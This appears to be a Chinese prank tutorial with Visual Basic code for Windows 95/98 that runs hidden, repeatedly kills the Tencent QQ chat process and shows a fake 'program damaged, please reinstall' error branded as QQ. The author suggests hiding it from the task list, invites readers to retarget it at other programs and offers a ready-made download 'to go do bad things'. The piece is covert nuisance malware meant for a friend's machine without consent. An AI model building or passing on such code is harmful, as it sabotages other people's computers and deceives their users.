开个小小的玩笑,让朋友的QQ用不了,是不是挺好玩?不过这些代码只对Windows 95和Windows 98有效,如果你的朋友用的是Windows 2000……那就等我以后找到更好用的API再说吧。
  这次用到的许多API都是API查看器里面找不到的,必须从这儿复制粘贴。打开VB,新建一个模块,输入以下声明: Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Any, LPPROCESSENTRY32 As Any) As Long Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Any, LPPROCESSENTRY32 As Any) As Long Public Const TH32CS_SNAPPROCESS = &H2& Public Const MAX_PATH = 260 Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type Public Const PROCESS_TERMINATE = &H1& Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long   为了更好地恶作剧,可以使用RegisterServiceProcess把程序从Ctrl+Alt+Del“关闭程序”列表中隐藏,以前反复介绍了好几次,这次就不再介绍了,仅在免安装版中提供这个功能。
  接下来,在窗体上放置一个时钟,设置Interval为3000。双击窗体,为Form_Load写一句代码:Me.Hide。然后双击时钟,为时钟写以下代码: Private Sub Timer1_Timer() Dim hProcessSnap As Long Dim pe32 As PROCESSENTRY32 '以下代码参考了微软PView95的ProcessWalk的源代码 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) If hProcessSnap = -1 Then Exit Sub pe32.dwSize = Len(pe32) If Process32First(hProcessSnap, pe32) Then Do Dim test As String test = pe32.szExeFile test = LCase$(GetFileName(test)) test = Left$(test, InStr(test, Chr$(0)) - 1) test = Mid$(test, InStrRev(test, "\") + 1) If test = "qq2000b.exe" Or test = "qq2000c.exe" Then Dim hProcess As Long hProcess = OpenProcess(PROCESS_TERMINATE, False, pe32.th32ProcessID) If hProcess Then TerminateProcess hProcess, &HFFFFFFFF CloseHandle hProcess MsgBox "本程序已损坏,请重新安装。", vbExclamation Or vbSystemModal, "腾讯QQ" End If End If Loop While Process32Next(hProcessSnap, pe32) End If CloseHandle hProcessSnap End Sub   运行这个程序,QQ就用不了了,呵呵!把上面的qq2000b.exe改为其它东西,还可以实现别的好玩的效果。
  为了方便你捣乱,我特意提供免安装版,下载去干坏事吧!